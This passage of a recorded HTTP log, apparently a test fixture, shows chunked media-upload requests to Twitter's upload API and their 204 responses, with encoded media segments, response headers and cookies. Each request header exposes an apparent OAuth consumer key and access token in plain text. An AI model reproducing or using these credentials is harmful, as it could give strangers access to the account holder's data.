"command=APPEND&media_data=EQfEJ57ZpHhVnGFGDfLVjR8B3yGRWJuHBNAtFOgrwEp4AZEHJNuV5FoJDkJaFyLuaXy%2BVHaIoUo5XJCPtxbNejcbjxIPZd3x7trT3980ZSNGYfsf5X%2FG2SfQP%2F10wl%2FaiDihkOPBM27bVeKGBr01i%2Fl5sn5s5fapyof4Ac%2FtxJvmayr%2F8xeWmynGzKJE%2Fcv%2B1IGII6mFEgzntjMad30HhNoM%2BcgIxbz4Ej3Jyb0Ru1i6eI8EU2d1ePn97kTmJgUigGdRfw7VoGhAFmqEsbB4DoRECqo4ZEjMXz1YE%2F4LtWfUsGP1lzktM7OrwRZkCw8OdYw3%2BCuhlRFYlNNBXdrr8UQzEcprEH%2FnFv9Zul8bIQYMPM0V0Yz1zNZ%2FscGSSmkUw6VWiT2Wc%2BMEHo%2Bjjzd2HMYCCIltHmFPQxhfhqGq39usy4cvrXjSQ6e4ifzmdHD8VzWc6C0a02Sq8CI4xZDdz3flFxS2d6sN3fqauPdi3CR%2F0%2FrdsKZ%2BS8L6F7O7CPWwrYbM2bFgIS9JwE4zkL9ga%2F04vPGuOxpRcTYLM%2Fy8XLxBwG%2FBOJxxajvEtoupUZZKZfx70dZxEYNkYA3G1BMYxlLJ%2BVH8nHdO0OYl52kZemv8Yxy%2BdO4eh0mA%2FW8rATSGCcUn5W19n4%2Bk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Feao3wNiFVB1Gtj2EAAQAeI8Z86D2nwP8VUTjANZyx4IZrdFAMjaGpymgXG581mIxmjY6X1W3HXoDdb2zllHTVv1Xoe1Ec%2BiL6grhA40yg8FFY0B1%2BLRqPS44Y1IUVTYZf8jsME3DBB0swdWNIbX8Q1Dw09OQg0sOCbgguaeBiovy0H2F3w4XML8s6zRvPsW19kSLX1NzkwnxHPkxLSprD8ONtBVyEW38VnLBQqznz6qirjXWNfJpEleuJ61e79k%2BS6bqku5ZLvL1ziChzLYcaQGvznXFsQ8XICN656t98v2R9hiV7A%2BBBpvHjTK0qPV4nDw1CF5o%3D&media_id=1254206535166763008&segment_index=31" - }, - "response": { - "status": { - "http_version": "2", - "code": "204", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", - "content-type": "text\/html;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:32:11 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:32:11 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_D67vLVKLcDBrdt0\/+zwywA==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:11 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786113111947894; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:11 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "204 No Content", - "strict-transport-security": "max-age=631138519", - "vary": "Origin", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "b6bec65fa7585c6ee43b82b75e3deb25", - "x-frame-options": "SAMEORIGIN", - "x-mediaid": "1254206535166763008", - "x-rate-limit-limit": "20000", - "x-rate-limit-remaining": "19921", - "x-rate-limit-reset": "1587864356", - "x-response-time": "40", - "x-segmentcount": "0", - "x-totalbytes": "0", - "x-transaction": "00eb298800bc5625", - "x-tsa-request-body-time": "64", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "1; mode=block" - } - } -},{ - "request": { - "method": "POST", - "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", - "headers": { - "Host": "upload.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"xwYf7TyiVWODvWVfy1mzcgxFdyQ%3D\"", - "Expect": null - }, - "body": "command=APPEND&media_data=wFfQ052%2BZ6CsMDUnINV2%2F%2FisTjU9%2F7GzG3%2BtA1sOe933MWxshMFGhFZvdMyM%2B%2BHd9TLJAmr%2FQHcV1bV8t%2BcnZjw62kg9IJwWKpFlayF7auawZYpvCo8%2BR234xiUD41SN6KWjrKNJEfvqhvkkl0NXjudPy2P2FgZ2i1PB%2FOW552YKHNIeliDKdv4%2BtuT8Kr8bPQa5qtyPTFjppg5wpsI8SaS0C%2BkUYMBhtMobkoIMxp5V2w3kqB2PUP%2BIuA7EUiffu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": { - "http_version": "2", - "code": "204", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", - "content-type": "text\/html;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:32:11 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:32:11 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_sPtkYBQwqr2JsQjNTnco+g==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:11 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786113173181716; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:11 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "204 No Content", - "strict-transport-security": "max-age=631138519", - "vary": "Origin", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "bc6ae6c592e5f967e286c387d2af69f5", - "x-frame-options": "SAMEORIGIN", - "x-mediaid": "1254206535166763008", - "x-rate-limit-limit": "20000", - "x-rate-limit-remaining": "19920", - "x-rate-limit-reset": "1587864356", - "x-response-time": "29", - "x-segmentcount": "0", - "x-totalbytes": "0", - "x-transaction": "00b4e86400736033", - "x-tsa-request-body-time": "63", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "1; mode=block" - } - } -},{ - "request": { - "method": "POST", - "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", - "headers": { - "Host": "upload.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"u5p0zGnwSZ%2FshDG2EmuOjv7J%2BA4%3D\"", - "Expect": null - }, - "body": "command=APPEND&media_data=X6xSea97uvZLbpMv6%2B9AOS%2FglLn837V61%2Brq8WR6aHecVXgr6bnpQHjgw%2FQOuw1nUa%2FQGxBvL%2FwvutK0xVLzBAH%2F89SWhV%2F7vJ%2F11dcRz1JX5bnIP9fd14ndPpFn8EPYI19XrqS%2Fz1w6nB%2BvHibv3fdn89%2F45dSfsn7%2Fho0s7r7YnrsB%2FBDsilpbL9X4mtU6U5B%2BCTj5cPl%2Bbevwzu1UqQel%2F%2BGhgY7vd7mobnf5EvlLpnyl66b9W72%2Ftb1fvuXxRsex6pXYJCtr4frL89S6wZN%2F%2BsVeuFejayea%2F%2Fo6RV7q35COQkgV%2FcnQf2IKQmVuYlpMH8hBxo9K7cl3IMxdy3a0%2FoER%2BNm7OPasfr0lVYV1d%2BvX4UM7HykEqTcai%2Bot%2BFeisfmvbX6xfq5fny%2FmXJMvlI5yC%2BtQlykF3SMR36ysv6e5C6r9Ecri69FqXLRSp35Mno3Sef0eNDaf%2Frl%2BEi81pb%2FEUhh6e3BuV16678vkJrwqR3uzauxbNf%2FwyTizUcnWmv4kV916EvGT%2FuOe%2F85VvNT%2FqVO42AEqFIhIVgqFhSGBMFQuFgoFQkFxKIQmJQmIQmITr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q6ZI3WeJfuh7B3PNfYWVwAW3%2FIBBAlTCRleYrMmVLyCJKJBCoHAAAADt0GaNA0KBX2hOU3r3698103Ovf%2BssE%2Fqtj9Zf9F9Ivf%2F9q%2F%2FS%2FEK52rn%2Fuiudd%2BiN3Ja%2Bq69erJ6eW1ccIVg4IfCFUpX0O7fa5fNVyXfN%2BtV6s%2FVyT11W6vL6uZP39a90CSf8EcZEX8Ha5fq39Du1bPXr0k6%2FqWM9bT%2BqQHKrd2KV1I%2FffVPzdXd%2Brn69fSwip1dN56jTWP%2BTWI5V74uvU1%2BuV%2Bp0ye%2F%2FL69drlfr1erD5b6Xi79Yv%2B6ov9XSL%2BrWK9Vq7x3w%2Blb9cq9e7V5PWvyn43qfLq%2Fiax2vRnO%2FCFXPnrmvCO7l9Yq9bBe84IAy39xocvzWsq9avl5nXKT1sluI9X%2FWL8MTw9Y6ZrTLcXr3TsDX7noQll8ElJ9qt0DSrtddyWvd7P77Wu1f1VqJ%2Bf1VE161V165fm45MM%2Fx%2B2yGn%2BwTJeMWgNWk%2F%2BMl3pNsSsW5r8i9A%2Fqxfnr46mPry06dX%2BuvzeVQ4hf1qrXu%2B%2Bv1Xq9ak8Edd7lvr%2FXD8u9%2ForknojHeT6%2F3e%2F4mc6j3vXq4%2Bc%3D&media_id=1254206535166763008&segment_index=33" - }, - "response": { - "status": { - "http_version": "2", - "code": "204", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", - "content-type": "text\/html;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:32:12 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:32:12 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_LeknfK9dQwZSovacV8++5A==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:12 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786113236480030; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:12 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "204 No Content", - "strict-transport-security": "max-age=631138519", - "vary": "Origin", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "60d3866bcb46b8e22ecc495dc593a980", - "x-frame-options": "SAMEORIGIN", - "x-mediaid": "1254206535166763008", - "x-rate-limit-limit": "20000", - "x-rate-limit-remaining": "19919", - "x-rate-limit-reset": "1587864356", - "x-response-time": "34", - "x-segmentcount": "0", - "x-totalbytes": "0", - "x-transaction": "00dc5a2200042a35", - "x-tsa-request-body-time": "101", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "1; mode=block" - } - } -},{ - "request": { - "method": "POST", - "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", - "headers": { - "Host": "upload.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"joWsCAjLP4KAy3o7y5hTgsRIvXY%3D\"", - "Expect": null - }, - "body": "command=APPEND&media_data=r7kP0%2Fq4XhfH6d36xuv%2F9WH17%2BrV6u%2FW%2FcT4nHRwrArx0ACfBDHJyNSLj9%2BF9ErAbDHgUrEql1JhoPye9u%2FzEe9eiu%2FNlxrXlvmxeuHfdfXrV03qtS%2BrXUrVusX4TIqwQth0cuf%2BCQsmZRV4s174Ze35yqNtHp%2Ba%2B5PXX1G%2BrvwQ6Tv1%2BTCXh0b67xu0BBldZbKMDJvEC4Po5xuVgLtAUPuj0T378VNlengpiYqzx993d2evom4%2BOJ%2BQtKQfV99yerSaSJ1X33V934jIEAUe0wMOSGatdfmjQIvQM8lZs3qrOVVysf9WHyEH4xw93f6xS44QU7DzR6yeiYdq92tS6%2Fojh%2BCSjLRYTn4opA3QbkpsgxyfJhxmhAbRr4a8tGJjFopz9eTMw3T%2BXnox%2FXD8%2FUkJBgnQ%2BvR2fhvNLjEPeeMHnglX5jSQ%2Fgkw8kpfb9WO11XgijgXoAqeXDhBO6PeT09%2FwgILuP56fr4jV1aOztW%2FNSSyk%2B%2FXOKWMjPet68ERbET7H6wTeettAxhE%2F6JF2cSvj%2BKH%2FghlEG179fheid%2BsH61IrzlY7ll9nQIrtXLVGEVeOxn3TXXkImMgo%2F7Joo5mvR4q8%2FX%2BMIn1d%2B%2B7%2FVquvBCZ3QL1WI88MtL82fN2i6qzUmd%2Fmvs%2FhysxignRXRfQrq%2F0XUtrLua0ar9e%2FRXBL0f%2Buv1ruLurWpPV%2B5r%2FWr9Fw8X9Ce0Z74m%2FXt4OhlIqdEgAAARnQZo0jSoFfdehKdLjfr%2FpP1p15f1r%2FtYv1i6EFr%2BTie%2Bivta9Vc7%2FWLta9ZOJUiKv%2FGeyq%2F61V%2FrXyXX9LVcR%2BrHSK%2FxG%2F%2FnVpN9HEG5nLsEmHE%2BvxiT3v%2BoV7Wqom7ViqKVOtq8lS13190KV45bFX3%2BrS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bUY7%2B5gPD18Pz7QdFfs6WnIsEl%2B%2FmAwThGUE%2BNk4SvdSkCqnJD8VwcBLFSRMCYyDUKGYKBULFQRhEar3bvqu1t3lynW0q93zdVVS3Umhu3B8i5n6HifRdAeOnqf9AC8BeiRG2SZ9Mi7ClXySxMNVfP9NQ%2BBcw8jR34rvwWOw5K9%2Fbgn7l8LzZkFfhQD1EN2t4z6WmzEzcFvMRQqcQKAnhTpACukT3hO6Dukf1Mlms%2B2H0cN72Di900ADVezySUBdN5%2BrIaKnTspLfdeirRVFk4TVC1zrvisZ8psIRpN52TmslJ7E6b4iGmvaYP%2FkKIe2%2Ff%2FE3V3%2BzsfMNQMfz%2FtyMHDTPPVZZO8hWVOVgcBKJn%2BDRgs0LGEpEty9W55a%2BAZMPXFNV8C6tfqqsDRk5arfV5Jj1CFqaSQZTCh6%2BGvr%2BlC%2FxnPyppRfF31Omuqf79VWiw%2F8W7qqKWlpd5ofgOx%2BJO8o30ndVUQicgSGhgBrJSaGmq3yO%2F13oPXPl5E1%2BQrl128UJSzhnAB1UUlFWA%3D&media_id=1254206535166763008&segment_index=34" - }, - "response": { - "status": { - "http_version": "2", - "code": "204", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", - "content-type": "text\/html;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:32:13 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:32:13 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_sPZseav4pgpuY36mSmyWmg==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:13 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786113300928181; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:13 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "204 No Content", - "strict-transport-security": "max-age=631138519", - "vary": "Origin", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "41fb9c88dcebd7dbf17116c5d943f468", - "x-frame-options": "SAMEORIGIN", - "x-mediaid": "1254206535166763008", - "x-rate-limit-limit": "20000", - "x-rate-limit-remaining": "19918", - "x-rate-limit-reset": "1587864356", - "x-response-time": "31", - "x-segmentcount": "0", - "x-totalbytes": "0", - "x-transaction": "005f7d3d00262995", - "x-tsa-request-body-time": "96", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "1; mode=block" - } - } -},{ - "request": { - "method": "POST", - "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", - "headers": { - "Host": "upload.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"1k4bVPzPmjF9bEiiMhNM91kel38%3D\"", - "Expect": null - }, - "body": "command=APPEND&media_data=FrzIUEA35hfUKG5UuITZqR3xIfoa2io2qxvVUiDfcYc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VRP61IuTr1qWJVq5qtXr1i6K%2FWCS5LWLu%2FWNfhslNDdZ41%2F6yt%2Br8foIhHtfFX%2BvVLE2rS%2BCTusW%2FU28N1tep0r0XV%2BQmOpjL69d1P83XxK98svr0%2Fgkj4gPAL34m0kwNAO9P4I5WP1eYvPla4c0OVLJx41Y9v1y%2F%2Bv5M6jvXcblXXN69NnrX6xyvXKvBJdvcl8WRE9AcwYaluvFY0tq8Qr2Pr%2Bi9IrxF6XDyEd076x%2Fu7v16vWq4ubzGhPyj57%2BPsAxiDzw0AzwQeZQdD828OJML2J2nfkFbuvRa1a1692cvf44vy3svw3Y%3D&media_id=1254206535166763008&segment_index=35" - }, - "response": { - "status": { - "http_version": "2", - "code": "204", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", - "content-type": "text\/html;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:32:13 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:32:13 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_aJQMklx7Tiw90ID5EjVhWw==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:13 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786113365613628; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:13 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "204 No Content", - "strict-transport-security": "max-age=631138519", - "vary": "Origin", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "dd58c9d151e4bbc61166b1ef80ed86fb", - "x-frame-options": "SAMEORIGIN", - "x-mediaid": "1254206535166763008", - "x-rate-limit-limit": "20000", - "x-rate-limit-remaining": "19917", - "x-rate-limit-reset": "1587864356", - "x-response-time": "34", - "x-segmentcount": "0", - "x-totalbytes": "0", - "x-transaction": "008a6f770012022e", - "x-tsa-request-body-time": "101", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "1; mode=block" - } - } -},{ - "request": { - "method": "POST", - "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", - "headers": { - "Host": "upload.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"PvsKYgEj6JMj%2Fxpadfwg2JaitDc%3D\"", - "Expect": null - }, - "body": "command=APPEND&media_data=3uvhIceGZty7j%2Brr9ElCHhyqHG7ymnjI2%2F%2BI0Ef60O9H67y2FN9%2FhAgSbaUOvGDZ%2BWP6uSeQ5868Ehs%2F69Q0Ld73P6mh9Ge%2FWuVWAqi7tF6X1z5f%2FUhJswUkn4%2BFbU7AgG274oZllwVBf%2BCikflBAdZkSffkIEDh7Z%2BX6%2FDZ8JnJ435gwE1cbWH81gTEPH1ov6%2BCLcLJjb9TDU%2BEHQoovylvXZivPCTwVl3dPeHYRf7J7r9EIRLDS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Nor0fVk9P973LZhT7nupUJy55PQjoz0eqvtW7ifMV9xdvu5IAAASxQZo9D0oFf6Fxdq532vfqx%2BsXdevv1bn7q11wS%2FXX3%2F8n610%3D&media_id=1254206535166763008&segment_index=36" - }, - "response": { - "status": { - "http_version": "2", - "code": "204", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", - "content-type": "text\/html;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:32:14 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:32:14 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_RJ1HqzciWxnQE3UVX\/qwlg==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:14 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786113431585987; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:14 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "204 No Content", - "strict-transport-security": "max-age=631138519", - "vary": "Origin", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "b42018183e0f571868fea227c91736a0", - "x-frame-options": "SAMEORIGIN", - "x-mediaid": "1254206535166763008", - "x-rate-limit-limit": "20000", - "x-rate-limit-remaining": "19916", - "x-rate-limit-reset": "1587864356", - "x-response-time": "32", - "x-segmentcount": "0", - "x-totalbytes": "0", - "x-transaction": "00a68c7200021694", - "x-tsa-request-body-time": "97", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "1; mode=block" - } - } -},{ - "request": { - "method": "POST", - "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", - "headers": { - "Host": "upload.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"bim5zzZc2t84q%2B9ZHIw5FcEpz6I%3D\"", - "Expect": null - }, - "body": "command=APPEND&media_data=L%2BrO1%2B%2FW3h%2F3%2BuvJ7Vhq7Vj7WP0Yr9detS%2BsVXN%2FBH4T%2BLLptr5fCfgn8J%2F8UqX1iq6tcvj6te5FV%2FhlWd%2FrFfN%2Bsv1qTJWK1v9%2Fqz89YyT2v1Hlyhp9eexMjpP%2Bz19kp4yS%2BJWu8UTeku%2FP7GVfa93V1qvVVJqrfq1eiRSe%2B0aL89fNA76JT1dVXfkospr%2FXsUs%2Fr11K1evdrKvRnDd%2FjPoXXE9Ki93IO8%2Ffpdxvr1YvJ5fPyO%2F4n2l6Sde%2FXpLWLkJria4uMpYi%2FN517tYr9SpfP3fL1d9Er3RHd%2BrVquVeGNNGjfSVFHbkKNnhlSr1ETF3QHcZCt%2FrVv17Xq9T1f8y9fa91r369Xasv1q6dWDte%2FWr1PXhxE9f3NtOYx%2BXoZwAA%2FJcgg%2BwRTT6sSX3Xgh6Gdr9iN38rD1WVd9rFXrB89UT2rfr369Jas7uwWd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8BAZwUmjJPwXTfMPqbgu59gBJOUG1kjTKDt1oAOCTfcoQClT3yNjA4JrgkaqO6UYO4JwTMZEs6QN9%2BgggSyIYpgFDouymPG0D59TzfP6Ury9PBLODUExhIZNEzQUgkGr1PmshAeQqPNInHnmI232sDgBLhSQqhYMBYLhYaCYNBsLhMKBYKCUKBYKCULBQTCUKBEi8s579szJdTXr2pmqqUqbVepEnA%2FZ%2FP%2FoevdP%2Bovwezf7kdnk%2FaHOrRT76cef6n1u3%2FPC%2B1ABV6N7X3s8ioVk96qKnpfrvzLHlf%2FY%2FNitnKEvOxff9ZVBhWyZnPth5c5fTNlzV1211BIAXpRrZ1T89iMJtG%2FtF8k6L2P3JVpfSV57fLfV%2Fr4SGbBMSWvWBjmevoGrTvFuB8r9K9vofhv20Xv%2BBs5HzAlaoDCyf111t7FgigTEjEHRfy1ZuYkQNPXeJH84lHO22lmlhKQlg3nclPzg4AAAAgJBmkAQCgVxFSE9G2rzSEd%2F%2F%2Fq432veI%2FxHrVz%2Fq0X6xV0rX8nq%2FderdWO%2FS%2BrHa1XELLtWK9X7r1b9Wu%2F1wry%2Bej9WK%2B6Juqr%2FVyW%2B5dLuvPX3HwVebwQ460dzuXvx3vT%2Fa1jv1euaS65VcriIm%2F175rtXD3XZ33%2BvVySevXyz2vTY3Ewr%2Brr51Y%2BJrkkur5aFL%2BtS3VNLc15PP%2Fkprtcu1c76LWrgQ6kST174mSJXqubiV6v7k%2Bsm6WvXupemv5l6rkurktEaS5KfuuVF7vtX7kL%2F%2FVr369fq0l364V6wSeIo4w19mNtfr4H%2Fxyq7lv1YksFBJZNbMlOKrpP1asCXXr3d3N8%3D&media_id=1254206535166763008&segment_index=37" - }, - "response": { - "status": { - "http_version": "2", - "code": "204", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-security-policy": "default-src 'self'; connect-src 'self'; 